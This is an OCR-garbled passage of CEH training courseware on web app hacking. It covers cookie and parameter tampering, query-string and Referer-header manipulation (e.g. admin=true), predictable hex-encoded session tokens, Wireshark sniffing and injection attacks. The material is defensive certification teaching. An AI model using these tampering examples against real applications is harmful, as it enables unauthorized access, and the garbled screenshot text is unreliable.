as s c r ip t in je c tio n  and e a ve sd ro p p in g . A tta c k e rs  th e n  re p la y  th e  co ok ie  w ith  th e  sam e o r a lte re d
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passw ords o r session id e n t if ie rs  to  bypass w e b  a p p lic a tio n  a u th e n tic a tio n . Exam ples o f  to o ls  

used by th e  a tta c k e r  fo r  tra p p in g  cook ies  in c lu d e  OW ASP Zed A t ta c k  P roxy , B u rp  S u ite , e tc .

[® [ O י W ASP Zed A tta c k  P ro xy

Source : h ttp s : / /w w w .o w a s p .o rg

OW ASP Zed A t ta c k  P ro xy  P ro je c t (ZAP) is an in te g ra te d  p e n e tra tio n  te s tin g  to o l fo r  te s tin g  w e b  

a p p lic a tio n s . It p ro v id e s  a u to m a te d  scanners as w e ll as a se t o f  to o ls  th a t a llo w  yo u  to  fin d  

s e c u r ity  v u ln e ra b ilit ie s  m a n u a lly .

O  U n t i t l e d  S e s s io n  -  O W A S P  Z A P  _ 1 _ 1 ם  x  1

|  £ i le  E d it  v ie w  A n a ly s e  R e p o r t T o o ls  H e lp

1 1 J t d  H  r i  s s i  O  Q  v  Q  v b׳ 0*-  0

f  S i te s ( * !  |  f R e q u e s t1- *  j  R e s p o n s e • • “  j  B re a k  >C  ]

»  f=■ h ttp  //tr a d in te
H e a d e r: Tex t * j  Body: Tex t T

»  y  tr

► U  y a h o o _

U s e r - A g e n t :  M o z i l l a / 5 . 0  ( W in d o w s  N T  6 . 2 ;  W O W 64) A p p l e W e b K i t / 5 3 7 . 4  (K H T M L , 4 

l l l c e  G e c k o )  C h r o m e / 2 2 . 0 . 1 2 2 9 . 9 4  S a f a r l / S 3 7 . 4  ►  

C a c h e - C o n t r o l :  m a x - a g e _ 0  k  

A c c e p t :  * / *

R e f e r e r :  h t t p : / / i n . y a h o o . c o m / ? p “ u s  

A c c e p t - E n c o d i n g : s d c h  

A c c e p t - L a n g u a g e :  e n - O S , e n ; q “ 0 .8
A c c e p t - C h a r s e t : 1 s 0 - 8 8 s 9 ־ l , u t f - 8 ; q - 0 . 7 , * ; q - 0 . 3  * ׳  

C o o k i e :  a d x i d - 0 1 5 8 2 4 5 0 6 1 2 S a f 4 6 ;  a d x f - 1 0 8 4 6 6 6 7 e 1 6 6 3 2

H o s t :  t r . a d i n t e r a x . c o m  *

H is to r y “  |  S e a rc h  \  |  B re a k  P o in ts  \ A le rts

A c tive  S c a n  J  ^  S p i d e r ^ :  J B ru te  F o rc e  - [  P o rt S c a n  ] F uzze r £  ]  P a ra m s  [  3 J O u tp u t

S ite : t r  a d in te ra x c o m :8 0  T  | [> I I  ■  C u r re n t S c a n s :0  ■£?

U R I fo u n d  d u r in g  c ra w l:

U R I fo u n d  b u t o u t o f  c ra w l s c o p e :

A le rts  1 ^ 0  0  C u r re n t S c a n s  0  0 0

F i g u r e  1 3 . 4 5 :  O W A S P  Z e d  A t t a c k  P r o x y  T o o l  S c r e e n s h o t
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Attack Session Attack Attack
Management Data Connectivity Web Services 
Mechanism

Attack Attack
Web Servers Authentication

Mechanism

C o p y r ig h t  ©  b y  EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  A p p  H a c k i n g  M e t h o d o l o g y

-־1י — A u th o r iz a tio n  p ro te c ts  th e  w e b  a p p lic a tio n s  by g iv in g  a u th o r ity  to  c e rta in  users fo r  

accessing th e  a p p lic a tio n s  and re s tr ic t in g  c e rta in  users f ro m  accessing such a p p lica tio n s . 

A tta c k e rs  by m eans o f a u th o r iz a t io n  a tta cks  t r y  to  ga in  access to  th e  in fo rm a tio n  resources  

w ith o u t  p ro p e r  c re d e n tia ls . The w ays to  a tta c k  a u th o r iz a t io n  schem es a re  e xp la in e d  on th e  

fo llo w in g  slides.
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Authorization Attack CEH
C«rt1fW4 itfciul Nm Im

■  A tta c k e rs  m a n ip u la te  th e  HTTP re q u e s ts  to  s u b v e r t  th e  a p p lic a tio n  a u th o r iz a tio n  sch e m e s  b y  m o d ify in g  in p u t  

f ie ld s  th a t  re la te  to  u se r ID, u se r n a m e , access g ro u p , co s t, f ile n a m e s , f i le  id e n t if ie rs , e tc .

^  A tta c k e rs  f i r s t  access w e b  a p p lic a tio n  u s in g  lo w  p r iv ile g e d  a c c o u n t a n d  th e n  e sca la te  p r iv ile g e s  to  access 

p r o te c te d  re s o u rc e s

Q u e r y  S t r i n g  H i d d e n  T a g s

C o p y r ig h t  ©  b y  EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

A u t h o r i z a t i o n  A t t a c k

In an a u th o r iz a t io n  a tta ck , th e  a tta c k e r  f ir s t  f in d s  th e  lo w e s t p riv ile g e d  a c c o u n t and 

th e n  logs in as an a u th e n tic  user and s lo w ly  esca la tes p riv ile g es  to  access p ro te c te d  resources. 

A tta c k e rs  m a n ip u la te  th e  HTTP req ue s ts  to  s u b v e rt th e  a p p lic a t io n  a u th o r iz a t io n  schem es by 

m o d ify in g  in p u t fie ld s  th a t  re la te  to  user ID, user nam e, access g ro u p , cost, file n a m e s , file  

id e n tif ie rs , e tc .

The sources th a t  a re  used by th e  a tta cke rs  in o rd e r  to  p e r fo rm  a u th o r iz a t io n  a tta cks  in c lu d e  

u n ifo rm  reso u rce  id e n t if ie r ,  p a ra m e te r ta m p e r in g , POST da ta , HTTP heade rs , q u e ry  s tr in g , 

co ok ies , and  h id d e n  tags.

P a r a m e t e r  T a m p e r i n g

P a ra m e te r ta m p e r in g  is an a tta c k  th a t  is based on th e  m a n ip u la t io n  o f  p a ra m e te rs  

th a t  a re  exchanged  b e tw e e n  se rve r and c lie n t in o rd e r  to  m o d ify  th e  a p p lic a tio n  da ta , 

such as p rice  and q u a n tity  o f  p ro d u c ts , p e rm iss ion s  and user c re d e n tia ls , e tc . This in fo rm a tio n  

is u sua lly  s to re d  in cook ies , URL q u e ry  s tring s , o r  h id d e n  fo rm  fie ld s , and th a t  is used to  

increase  in c o n tro l and a p p lic a tio n  fu n c t io n a lity .

l E P  P o s t D a t a
Post da ta  o fte n  is c o m p rise d  o f  a u th o r iz a t io n  and session in fo rm a tio n , since in m o s t 

o f  th e  a p p lic a tio n s , th e  in fo rm a tio n  th a t  is p ro v id e d  by th e  c lie n t m u s t be assoc ia ted
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w ith  th e  session th a t  had p ro v id e d  it. The a tta c k e r  e x p lo it in g  v u ln e ra b ilit ie s  in th e  p os t da ta  can 

eas ily  m a n ip u la te  th e  pos t da ta  and th e  in fo rm a tio n  in it.
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H T T P  R e q u e s t T a m p e r in g  CEH

Q uery  S trin g  Tam pering

J  I f  th e  q u e ry  s tr in g  is v is ib le  in  th e  a d d re ss  b a r o n  th e  b ro w s e r, th e  a tta c k e r can e as ily  ch a n g e  th e  

s tr in g  p a ra m e te r  to  bypa ss  a u th o r iz a t io n  m e c h a n is m s

h t t p :  / / w w w .  j u g g y b o y . c o m / m a i l .  a s p x ? m a i l b o x = j o h n & c o m p a n y = a c m e % 2 0 c o n 1 

h t t p s  : / /  j u g g y s h o p .  c o m / b o o k s / d o w n l o a d / 8 5 2 7 4 1 3 6 9  . p d f  

h t t p s : / / j u g g y b a n k . c o m / l o g i n / h o m e . j s p ? a d m i n = t r u e

J  A tta c k e rs  can use w e b  s p id e r in g  to o ls  such  as B u rp  S u ite  to  scan th e  w e b  a p p  fo r  POST p a ra m e te rs

HTTP H eaders

J  I f  th e  a p p lic a tio n  uses th e  R e fe re r  h e a d e r  fo r  m a k in g  access c o n t ro l d e c is io n s , a tta c k e rs  can m o d ify  it  

to  access p r o te c te d  a p p lic a t io n  fu n c t io n a l i t ie s

GET http://juggyboy:8180/Applications/Download?ItemID =» 201 HTTP/1.1 
Host: janaina:8180
User-Agent: Mozilla/5.0 (Window; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.04
Accept: text/xml, application/xml, application/xhtml+xml,text/htmtl;g-0.9,text/plain;g=0.8,image/png,*/*׳g=0.5
Proxy-Connection: keep-alive
Referer: http: / /  juggyboy: 8180/Applications/Download?Admin = False

lte m lD =  201 is no t accessible as A dm in  param eter is set to  false, a ttacker can change it  to  tru e  and access pro tected item s

C o p y r ig h t  ©  by EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

H T T P  R e q u e s t  T a m p e r i n g

A tta c k e rs  ta m p e r  w ith  th e  HTTP re q u e s t w ith o u t  us ing  a n o th e r  user's  ID. The a tta c k e r  

changes th e  re q u e s t in b e tw e e n  b e fo re  th e  m essage is rece ived  by th e  in te n d e d  rece ive r.

Q u e r y  S t r i n g  T a m p e r i n g

An a tta c k e r  ta m p e rs  w ith  th e  q u e ry  s tr in g  w h e n  th e  w e b  a p p lic a tio n s  use q u e ry  

s tr in g s  to  pass on th e  m essages b e tw e e n  pages. If th e  q u e ry  s tr in g  is v is ib le  in th e  

address b a r on th e  b ro w s e r, th e  a tta c k e r  can eas ily  change  th e  s tr in g  p a ra m e te r  to  bypass 

a u th o r iz a t io n  m echan ism s.

F I G U R E  1 3 . 4 6 :  Q u e r y  S t r i n g  T a m p e r i n g

A tta c k e rs  can use w e b  s p id e rin g  to o ls  such as Burp  Su ite  to  scan th e  w e b  app  fo r  POST 

p a ra m e te rs .

H T T P  H e a d e r s

If th e  a p p lic a tio n  uses th e  R e fe rre r h e a d e r fo r  m ak ing  access c o n tro l dec is ions ,
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a tta cke rs  can m o d ify  it  to  access p ro te c te d  a p p lic a t io n  fu n c t io n a lit ie s .

GET h ttp ://juggyboy:8180/Applications/Download?ItemID = 201 HTTP/1.1 
Host: janaina:8180
U3er־Agent: Mozilla/5.0 (Window; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.04
Accept: text/xml, application/xml, application/xhtml+xml,tsxt/htm tl;q-0.9,text/plain;q=0.8,image/png,* / * ,q=0.5

Proxy-Connection: keep-alive
Referer: h ttp ://juggyboy: 8180/Applications/Download?Admin = False

F I G U R E  1 3 . 4 7 :  H T T P  H e a d e r s

Ite m ID  = 201 is n o t accessib le  as th e  A d m in  p a ra m e te r  is se t to  fa lse ; th e  a tta c k e r  can change  it 

to  t ru e  and access p ro te c te d  ite m s .
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I n th e  f i r s t  s te p , th e  a tta c k e r co lle c ts  s o m e  co o k ie s  s e t b y  th e  w e b  a p p lic a tio n  a n d  a na lyzes  

th e m  to  d e te rm in e  th e  c o o k ie  g e n e ra t io n  m e c h a n is m

T he  a tta c k e r th e n  tra p s  co o k ie s  s e t b y  th e  w e b  a p p lic a tio n , ta m p e rs  w ith  its  p a ra m e te rs  

u s in g  to o ls ,  su ch  as O W A S P  Z ed  A t ta c k  P r o x y , a n d  re p la y  t o  th e  a p p lic a tio n

I

h ttps ://w w w .ow asp .o rg

C o p y r ig h t  ©  b y  EC-Gauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

i ן   A u t h o r i z a t i o n  A t t a c k :  C o o k i e  P a r a m e t e r  T a m p e r i n g

y . / .  C ook ie  p a ra m e te r  ta m p e r in g  is a m e th o d  used to  ta m p e r  w ith  th e  cook ies  se t by th e

w e b  a p p lic a tio n  in o rd e r  to  p e r fo rm  m a lic io u s  a ttacks .

© In th e  f ir s t  s tep , th e  a tta c k e r  co lle c ts  som e cook ies  se t by th e  w e b  a p p lic a tio n  and 

ana lyzes th e m  to  d e te rm in e  th e  c o o k ie  g e n e ra t io n  m e c h a n is m .

© The a tta c k e r  th e n  tra p s  co ok ies  se t by th e  w e b  a p p lic a tio n , ta m p e rs  w ith  its  p a ra m e te rs  

using  to o ls  such as Paros Proxy, and rep lays  to  th e  a p p lic a tio n .

Source : h ttp s : / /w w w .o w a s p .o rg
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Attack Session Attack Attack
Management Data Connectivity Web Services
Mechanism

Attack Attack
Web Servers Authentication

Mechanism

C o p y r ig h t  ©  by EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  A p p  H a c k i n g  M e t h o d o l o g y  

A t t a c k  S e s s i o n  M a n a g e m e n t  M e c h a n i s m

The session m a n a g e m e n t m ech an ism  is th e  key s e c u r ity  c o m p o n e n t in m o s t w e b  a p p lic a tio n s . 

Since it  p lays a key ro le , i t  has b eco m e  a p r im e  ta rg e t fo r  la u n ch in g  m a lic io u s  a tta cks  aga ins t 

a p p lic a tio n  session m a n a g e m e n t. An a tta c k e r  b re a k in g  th e  a p p lic a tio n  session m a n a g e m e n t 

can eas ily  bypass th e  ro b u s t a u th e n t ic a t io n  c o n tro ls  and m a sq ue ra de  as a n o th e r  a p p lic a tio n  

user w ith o u t  k n o w in g  th e ir  c re d e n tia ls  (use r nam e, passw ords). The a tta c k e r  can even ta k e  th e  

e n tire  a p p lic a tio n  u n d e r his o r  h e r c o n tro l i f  he o r  she c o m p ro m is e s  an a d m in is tra tiv e  user in 

th is  w ay. The d e ta ils  a b o u t th e  a tta c k  sess ion  m a n a g e m e n t m ech an ism  are d escribed  in d e ta il 

on th e  fo llo w in g  slides.
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Session M a n a g e m e n t  A tta c k

S e s s i o n  M a n a g e m e n t  A t t a c k

A session m a n a g e m e n t a tta c k  is one  o f  th e  m e th o d s  used by a tta cke rs  to  c o m p ro m is e  

a n e tw o rk . A tta c k e rs  b re ak  an a p p lic a tio n 's  session m a n a g e m e n t m ech an ism  to  bypass th e  

a u th e n tic a tio n  c o n tro ls  and im p e rs o n a te  a p riv ile g e d  a p p lic a tio n  user. A session m a n a g e m e n t 

a tta c k  invo lves  tw o  stages; one  is sess ion  to k e n  g e n e ra t io n  and th e  o th e r  is e x p lo it in g  session 

to k e n s  han d ling .

In o rd e r  to  g e n e ra te  a va lid  session to k e n , th e  a tta c k e r  p e rfo rm s :

0  Session T okens P re d ic tio n

© Session T okens T a m p e rin g

O nce th e  a tta c k e r g e n e ra te s  th e  va lid  session to k e n , th e  a tta c k e r  tr ie s  to  e x p lo it th e  session 

to k e n  h a n d lin g  in th e  fo llo w in g  w ays:

0  Session H ijack ing

© Session R eplay

Q M a n -ln -T h e -M id d le  A tta c k
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EH
Attacking Session Token 
Generation Mechanism

W e a k  E n c o d i n g  E x a m p l e

h t t p s : / / w w w . j u g g y b o y . c o m / c h e c k o u t ?

S e s s i o n T o k e n = % 7 5 % 7 3 % 6 5 % 7 2 % 3 D % 6 A % 6 1 % 7 3 % 6 F % 6 E % 3 B % 6 1 % 7 0 % 7 0 % 3 D % 6 1 % 6 4 % 6 D % 6 9 % 6 E % 3 B % 6

4 % 6 1 % 7 4 % 6 5 % 3 D % 3 2 % 3 3 % 2 F % 3 1 % 3 1 % 2 F % 3 2 % 3 0 % 3 1 % 3 0

user=jason;app=admin;date=23/ll/201W h e n  h e x -e n c o d in g  o f  an ASCII s tr in g

sess ion  to k e n  by  ju s t  ch a n g in g  d a te  and  use i t  f o r  a n o th e r  tra n s a c tio n  w ith  s e rv e r

S e s s i o n  T o k e n  P r e d i c t i o n

A t t a c k e r s  o b t a i n  v a l i d  s e s s i o n  t o k e n s  b y  s n i f f i n g  t h e  t r a f f i c  o r  l e g i t i m a t e l y  l o g g i n g  i n t o  a p p l i c a t i o n  a n d  

a n a l y z i n g  i t  f o r  e n c o d i n g  ( h e x - e n c o d i n g ,  B a s e 6 4 )  o r  a n y  p a t t e r n

I f  a n y  m e a n i n g  c a n  b e  r e v e r s e  e n g i n e e r e d  f r o m  t h e  s a m p l e  o f  s e s s i o n  t o k e n s ,  a t t a c k e r s  a t t e m p t  t o  

g u e s s  t h e  t o k e n s  r e c e n t l y  i s s u e d  t o  o t h e r  a p p l i c a t i o n  u s e r s

A t t a c k e r s  t h e n  m a k e  a  l a r g e  n u m b e r  o f  r e q u e s t s  w i t h  t h e  p r e d i c t e d  t o k e n s  t o  a  s e s s i o n - d e p e n d e n t  

p a g e  t o  d e t e r m i n e  a  v a l i d  s e s s i o n  t o k e n

C o p y r ig h t  ©  b y  E&CsiMCtl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  i s S t r i c t l y  P r o h ib i te d .

A t t a c k i n g  S e s s i o n  T o k e n  G e n e r a t i o n  M e c h a n i s m

A tta c k e rs  s tea l va lid  session to k e n s  and th e n  p re d ic t th e  n e x t session to k e n  a fte r  

o b ta in in g  th e  va lid  session to ke n s .

W e a k  E n c o d i n g  E x a m p l e

h t t p s : / /w w w . ju g g y b o y . c o m /c h e c k o u t?
G

SessionToken=%75%73%65%72%3D%6A%61%73%6F%6E%3B%61%70%70%3D%61%64%6D%69%6E%3B%
64%61%74%65%3D%32%33%2F%31%31%2F%32%30%31%30

W h e n  h e x -e n co d in g  o f an ASCII s tr in g  u s e r = ja s o n ;a p p = a d m in ;d a te = 2 3 / l l / 2 0 l0 ,  th e  a tta c k e r 

can p re d ic t a n o th e r  session to k e n  by ju s t  ch ang ing  th e  d a te  and using  it  fo r  a n o th e r  tra n s a c tio n  

w ith  th e  se rve r.

S e s s i o n  T o k e n  P r e d i c t i o n

A tta c k e rs  o b ta in  va lid  session to k e n s  by s n iff in g  th e  t ra f f ic  o r  le g it im a te ly  logg ing  in to  

a p p lic a tio n  and ana lyz ing  it  fo r  e n co d in g  (h e x -e n co d in g , Base64) o r  any p a tte rn . If any m ea n in g  

can be reve rse  e n g in e e re d  fro m  th e  sam p le  o f  session to k e n s , a tta c k e rs  a t te m p t to  guess th e
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to k e n s  re c e n tly  issued to  o th e r  a p p lic a tio n  users. A tta c k e rs  th e n  m ake  a large  n u m b e r o f 

req ue s ts  w ith  th e  p re d ic te d  to k e n s  to  a s e s s io n -d e p e n d e n t page to  d e te rm in e  a v a lid  sess ion .
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A t t a c k i n g  S e s s i o n  T o k e n s  H a n d l i n g  r  c  u

M e c h a n i s m :  S e s s i o n  T o k e n  S n i f f i n g  J L  ^  !7
■  A tta cke rs  s n iff  th e  a p p lica tio n  t ra f f ic  using a sn iff in g  to o l such as W ire sh a rk  o r  an in te rce p tin g  p roxy  such as B u rp . If 

HTTP cook ies  a re  being used as th e  tran sm iss ion  m echan ism  fo r  session tokens and th e  secure fla g  is n o t set, a ttacke rs  
can re p la y  th e  c o o k ie  to  gain u na u tho rized  access to  a p p lica tio n

■  A tta cke r can use session co o k ie s  to  p e rfo rm  session h ijacking, session replay, and M a n - in - th e -M id d le  a ttacks

A t t a c k i n g  S e s s i o n  T o k e n s  H a n d l i n g  M e c h a n i s m :  

S e s s i o n  T o k e n  S n i f f i n g

A tta c k e rs  f ir s t  s n if f  th e  n e tw o rk  t ra f f ic  fo r  va lid  session to k e n s  and th e n  p re d ic t th e  n e x t session 

to k e n  based on th e  s n if fe d  session to k e n . The a tta c k e r  uses th e  p re d ic te d  session ID to  

a u th e n tic a te  h im  o r h e rs e lf w ith  th e  ta rg e t w e b  a p p lic a tio n . Thus, s n iff in g  th e  va lid  session 

to k e n  is im p o r ta n t in sess ion  m a n a g e m e n t a tta cks . A tta c k e rs  s n if f  th e  a p p lic a tio n  t ra f f ic  us ing  a 

s n iff in g  to o l such as W ire s h a rk  o r  an in te rc e p tin g  p ro xy  such as Burp. If HTTP co o k ie s  a re  be ing  

used as th e  tra n s m is s io n  m ech an ism  fo r  session to k e n s  and th e  s e c u r ity  fla g  is n o t se t, 

a tta cke rs  can re p la y  th e  co ok ie  to  gain  u n a u th o riz e d  access to  a p p lic a tio n . A tta c k e rs  can use 

session cook ies  to  p e r fo rm  session h ija ck in g , session rep lay , and m a n - in - th e -m id d le  a ttacks .

W i r e s h a r k

Source : h t tp : / /w w w .w ire s h a rk .o rg

W ire s h a rk  is a n e tw o rk  p ro to c o l ana lyze r. It le ts  yo u  c a p tu re  and in te ra c tiv e ly  b ro w se  th e  tra f f ic  

ru n n in g  on a c o m p u te r  n e tw o rk . It c a p tu re s  live  n e tw o rk  t ra f f ic  f ro m  E th e rn e t, IEEE 802 .11 , 

PPP/HDLC, A T M , B lu e to o th , USB, T oke n  R ing, F ram e R elay, and  FDDI n e tw o rk s . C a p tu re d  file s  

can be p ro g ra m m a tic a lly  e d ite d  via th e  co m m a n d  line .
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k3J T e s t ( W S ) . p c a p n g  [ W i r e s h a r k  1 . 8 .2  ( S V N  R e v  4 4 5 2 0  f r o m / t r u n k 1 . 8 ־ ) ]

£ i le  E d it  y ie w  J jo  C a p tu re  A n a ly z e  S ta tis tic s  T e le p h o n y  J o o ls  In te rn a ls  H e lp

st v  a  a  m B ( 3  <3 . Q .  <3 , □

F i lt e r v  E xp re ss io n . .. C le a r A p p ly  S ave

N o .  T im e  S o u rc e  D e s t in a t io n P ro to c o l L e n g th  In fo

1 8  3 . 9 8 6 1 6 0 0 0 1 0 . 0 . 0 . 2  7 4 . 1 2 5 . 2 3 6 . 1 6 1 T C P 5 4  s e r v i c e - c t r l  >  h t t p s  [ a c k ]  s e q = 3 8  A c k = 3 8  w i i

1 9  5 . 1 5 6 3 4  3 0 0  f e 8 0 : : b 9 e a : d O l l : 3 e 0 f f 0 2 : : 1 : 2 D H C P v 6 1 5 0  S o l i c i t  X I D :  0 x 5 a 8 2 d f  C I D :  0 0 0 1 0 0 0 1 1 7 e 2 2 a a b ׳

2 0  5 . 6 9 5 6 6 9 0 0 1 0 . 0 . 0 . 2  7 4 . 1 2 5 . 1 3 5 . 1 2 5 T C P 9 1  [T C P  s e g m e n t  o f  a  r e a s s e m b l e d  P D U ]

2 1  5 . 7 5 8 3 2 6 0 0  7 4 . 1 2 5 . 1 3 5 . 1 2 5  1 0 . 0 . 0 . 2 T C P 6 0  x m p p - c l i e n t  >  q w a v e  [ a c k ]  s e q - 1  A c k - 3 8  w i n —

2 2  5 .  9 9 9 6 3 3 0 0  f e 8 0 : : 5 d f 8 : C 2 d 8 : 5 b b f f 0 2 : : 1 : 2 D H C P V 6 1 5 0  S o l i c i t  X I D :  0 x 8 3 e 0 4 9  C I D :  0 0 0 1 0 0 0 1 1 7 e 8 e l 4 e ׳

2 3  7 . 0 4 2 4 7 6 0 0  1 0 . 0 . 0 . 5  1 2 3 . 1 0 8 . 4 0 . 3 3 T C P 66  w e b m a i l - 2  >  h t t p  [ s y n ]  s e q = 0  w i n = 8 1 9 2  L e n = 0

2 4  7 . 0 7 6 3 2 4 0 0  1 2 3 . 1 0 8 . 4 0 . 3 3  1 0 . 0 . 0 . 5 T C P 6 0  h t t p  >  w e b m a i l - 2  [ s y n , a c k ]  s e q = 0  A c k = l  w i n ־

2 5  7 . 0 7 6 6 9 1 0 0  1 0 . 0 . 0 . 5  1 2 3 . 1 0 8 . 4 0 . 3 3 T C P 6 0  w e b m a i l - 2  >  h t t p  [ a c k ]  s e q = l  A c k = l  w i n = 6 4 2 4 !

2 6  7 . 0 7 6 9 0 0 0 0 1 0 . 0 . 0 . 5  1 2 3 . 1 0 8 . 4 0 . 3 3 H T T P 1 1 9 7  G E T  / n e w m a i l / m a i l s i g n o u t .  p h p  H T T P / 1 . 1

2 7  7 . 1 3 0 4 2 7 0 0  1 2 3 . 1 0 8 . 4 0 . 3 3  1 0 . 0 . 0 . 5 T C P 6 0  h t t p  >  w e b m a i l - 2  [ a c k ]  s e q ־ l  A c k 1 1 4 4 ־  w i n = 8 :

2 8  7 . 1 3 5 7 3 5 0 0 1 2 3 . 1 0 8 . 4 0 . 3 3  1 0 . 0 . 0 . 5 T C P 1 5 1 4  [ t c p  s e g m e n t  o f  a  r e a s s e m b l e d  p d u ]

2 2 8  H T T P / 1 . 1  2 0 0  O K  ( t e x t / h t m l )2 9  7 . 1 3 6 6 3 5 0 0 1 2 3 . 1 0 8 . 4 0 .  3 3

<1 III >

<1 HI II >
0 0 6 0 3 a 3 2 3 2 3 a 3 3 3 4 20 4 7 4 d 5 4 O d O a 5 3 6 5 7 2 7 6 : 2 2 : 3 4  G M T . . S e r v
0 0 7 0 6 5 U 3 a 20 4 1 ׳0 ׳ b l 6 3 68 b b O d O a 5 3 6 5 / 4 2 d e r : A p a c h e . . S e t -
0 0 8 0 4 3 6 t 6 f 6 b 6 9 6 5 3 a 20 5 f 6 e 3 1 3 8 7 5 5 f 3 d 6 4 c o o k i  e : n l 8 u  = d -
0 0 9 0 6 5 6 c 6 5 7 4 6 5 6 4 3 b 20 6 5 7 8 7 0 6 9 7 2 6 5 7 3 3 d e l e t e d ; e x p i r e s -
O O aO 5 4 68 7 5 2C 20 3 2 3 2 2 d 5 3 6 5 7 0 2 d 3 2 3 0 3 1 3 1 T h u ,  2 2 - s e p - 2 0 1 1
O O bO 20 3 1 3 0 3 a 3 2 3 2 3 a 3 3 3 3 20 4 7 4 d 5 4 3 b 20 7 0 1 0 : 2 2 : 3 3  G M T ; p
O O cO 6 1 7 4 68 3 d 2 f 3 b 20 6 4 6 f 6 d 6 1 6 9 6 e 3 d 2 e 6 9 a t h - / ;  d o m a i n - . ו
O O dO 6 e 2 e 6 3 6 1 6 d O d O a 4 5 7 8 7 0 6 9 7 2 6 5 7 3 3 a 20 n . c o m . . E x p i r e s :
O O eO 5 4 68 7 5 2 c 20 3 1 3 9 20 4 e 6 f 7 6 20 3 1 3 9 3 8 3 1 T h u ,  1 9 N o v  1 9 8 1
O O fO 20 3 0 3 8 3 a 3 5 3 2 3 a 3 0 3 0 20 4 7 4 d 5 4 O d O a 4 3 0 8 : 5 2 : 0 0  G M T . .C
0 10 0 6 1 6 3 68 6 5 2 d 4 3 6 f 6 e 7 4 7 2 6 f 6C 3 a 20 6 e 6 f a c h e - c o n t r o l : n o
0 1 1 0 2 d 7 3 7 4 6 f 7 2 6 5 2 c 20 6 e 6 f 2 d 6 3 6 1 6 3 68 6 5 - s t o r e , n o - c a c h e
0 12 0 2 c 20 6 d 7 5 7 3 7 4 2 d 7 2 6 5 7 6 6 1 6 c 6 9 6 4 6 1 7 4 , m u s t - r e v a l i d a t
0 1 3 0 6 5 2 c 20 7 0 6 f 7 3 7 4 2 d 6 3 68 6 5 6 3 6 b 3 d 3 0 2 c e ,  p o s t - c h e c k = 0 .
0 1 4 0 20 7 0 7 2 6 5 2 d 6 3 68 6 5 6 3 6 b 3 d 3 0 O d O a 5 0 7 2 p r e - c h e c k = 0 . . P r V

• 2ז F ile : "E :\C E H -T 00ls \C E H v 8 M o d u le  08  S n iffe rs ' P a cke ts : 22 6 6  D is p la y e d : 22 6 6  M a rk e d : 0  L o a d  t im e :  0 :00 .25 4 P ro f ile :  D e fa u lt

F I G U R E  1 3 . 4 9 :  W i r e s h a r k  T o o l  S c r e e n s h o t
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EHWeb App Hacking Methodology C

Attack
Footprint Web Analyze Web Authorization Perform Attack
Infrastructure Applications Schemes Injection Attacks Web App Client

Attack 
Web Services

Attack 
Data Connectivity

Attack Session 
Management 
Mechanism

Attack
Authentication

Mechanism

Attack 
Web Servers

C o p y r ig h t  ©  b y  EC-Gauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  A p p  H a c k i n g  M e t h o d o l o g y

l - H H  In je c tio n  a tta cks  a re  v e ry  co m m o n  in w e b  a p p lic a tio n s . T he re  a re  m an y  typ e s  o f 

in je c tio n  a tta cks  such as w e b  sc rip ts  in je c tio n , OS c o m m a n d s  in je c tio n , SMTP in je c tio n , SQL 

in je c tio n , LDAP in je c tio n , and XPath in je c tio n . A p a r t f ro m  all th ese  in je c t io n  a tta c k s , a 

f re q u e n t ly  o c c u rr in g  a tta c k  is a SQL in je c tio n  a tta ck . In je c tio n  fre q u e n t ly  ta kes  p lace  w h e n  th e  

da ta  th a t  is g iven  by th e  user is se n t to  th e  in te rp re te r  as a p a rt o f  a co m m a n d  o r q u e ry . For 

la u n ch in g  an in je c t io n  a tta c k , th e  a tta c k e r  su pp lie s  th e  c ra fte d  da ta  th a t tr ic k s  and m akes th e  

in te rp re te r  to  e xecu te  th e  co m m a n d s  o r q u e ry  th a t a re  u n in te n d e d . Because o f th e  in je c tio n  

fla w s , th e  a tta c k e r  can eas ily  read, c re a te , u p d a te , and re m o ve  any o f th e  a rb it ra ry  d a ta , i.e., 

a va ilab le  to  th e  a p p lic a tio n . In som e  cases, th e  a tta c k e r  can even  bypass a d e e p ly  nested  

f ire w a ll e n v iro n m e n t and can ta k e  c o m p le te  c o n tro l o v e r th e  a p p lic a tio n  and th e  u n d e r ly in g  

sys tem . The d e ta il o f  each in je c tio n  a tta c k  is g iven  on  th e  fo llo w in g  slides.
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Injection Attacks
נ

CEH
Urt1fw4 ilhiul lUthM

J  I n  i n j e c t i o n  a t t a c k s ,  a t t a c k e r s  s u p p l y  c r a f t e d  m a l i c i o u s  i n p u t  t h a t  i s  s y n t a c t i c a l l y  c o r r e c t  a c c o r d i n g  t o  

t h e  i n t e r p r e t e d  l a n g u a g e  b e i n g  u s e d  i n  o r d e r  t o  b r e a k  a p p l i c a t i o n ' s  n o r m a l  i n t e n d e d

S Q L  I n j e c t i o n

E n t e r  a  s e r i e s  o f  m a l i c i o u s  S Q L  q u e r i e s  

i n t o  i n p u t  f i e l d s  t o  d i r e c t l y  m a n i p u l a t e  

t h e  d a t a b a s e

B
W e b  S c r ip ts  In je c t io n  

If user in p u t is used in to  code th a t is dynam ically 
executed, en ter crafted in p u t th a t breaks th e  
in tended data context and executes com m ands on 
th e  server

D

L D A P  I n j e c t i o n

T a k e  a d v a n t a g e  o f  n o n - v a l i d a t e d  w e b  

a p p l i c a t i o n  i n p u t  v u l n e r a b i l i t i e s  t o  p a s s  L D A P  

f i l t e r s  t o  o b t a i n  d i r e c t  a c c e s s  t o  d a t a b a s e s

Oםש S  C o m m a n d s  I n j e c t i o n  

E x p l o i t  o p e r a t i n g  s y s t e m s  b y  e n t e r i n g  

